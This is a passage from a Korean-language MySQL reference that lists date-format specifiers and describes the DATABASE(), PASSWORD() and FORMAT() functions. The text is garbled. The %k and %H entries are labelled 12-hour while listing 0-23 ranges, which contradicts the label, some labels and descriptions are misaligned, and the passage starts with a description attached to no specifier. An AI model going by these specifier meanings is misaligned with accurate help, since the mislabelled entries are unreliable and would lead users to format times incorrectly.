12시간제의 시 (01...12)

%k

%H

12시간제의 시 (0...23)

12시간제의 시 (00...23)

%i

숫자의 분 (00...59)

 

 

%S

숫자의 초 (00...59)

%s

숫자의 초 (00...59)

시간

%r

12시간제의 시간 (hh:mm:ss AM 또는 PM)

%T

24시간제의 시간 (hh:mm:ss)

%U

일요일을 기준으로 한 주 (0...52)

%u

월요일을 기준으로 한 주 (0...52)

기타

%%

문자 '%'

%p

AM 또는 PM

 

▶ DATABASE()

-현재의 데이터베이스 이름을 출력한다.

 

▶ PASSWORD('문자열')

-문자열을 암호화한다.

 

▶ FORMAT(숫자,소수이하자리수)

-숫자를 #,###,###.## 형식으로 출력